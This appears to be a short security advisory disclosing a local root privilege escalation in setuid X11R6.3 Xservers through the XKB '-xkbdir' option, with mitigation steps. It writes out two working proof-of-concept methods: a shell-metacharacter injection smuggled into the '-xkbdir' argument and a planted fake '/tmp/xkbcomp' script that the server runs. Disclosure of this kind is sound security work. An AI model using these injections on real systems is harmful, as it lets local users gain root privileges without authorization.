The Neverending Story of X11 Insecurity continues...
Summary:
On a system where X11R6.3-based Xserver with XKEYBOARD extension (R6.1 is
probably affected too) is run in setuid or setgid enviroment (e.g. typical
XFree86 installation has XF86_* installed setuid root), local users can
exploit a "feature" of XKB implementation to execute arbitrary
commands
with the extra privileges.
Quick vulnerability check:
$ Xserver -xkbdir ''id > /tmp/I_WAS_HERE;''
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo ''Gotcha!''
Quick fix:
1. as usual chmod u-s,g-s all installed Xserver binaries (*)
2. use xdm or a SAFE and PARANOID wrapper to start Xserver
(*) and unsafe or not-paranoid-enough setuid/setgid wrappers
(current Debian wrapper falls into this category)
Details:
In fact, there are (at least) two distict problems in XKB implementation,
both related to the use of -xkbdir option.
1. xkbcomp is invoked using system() or popen()
any shell metacharacters included in -xkbdir argument are interpreted
[demonstrated by the "quick vulnerability check"]
2. a user supplied instance of xkbcomp is invoked
-xkbdir argument is used to build the path to the compiler
$ cat > /tmp/xkbcomp
#!/bin/sh
id > /tmp/I_WAS_HERE
[ctrl+d]
$ chmod a+x /tmp/xkbcomp
$ Xserver -xkbdir /tmp
[X server executes /tmp/xkbcomp]
Further reading:
xc/programs/Xserver/xkb/xkbInit.c
xc/programs/Xserver/xkb/ddxLoad.c
xc/programs/Xserver/xkb/ddxList.c
--Pavel Kankovsky aka Peak [ Boycott Microsoft -- http://www.vcnet.com/bms ]
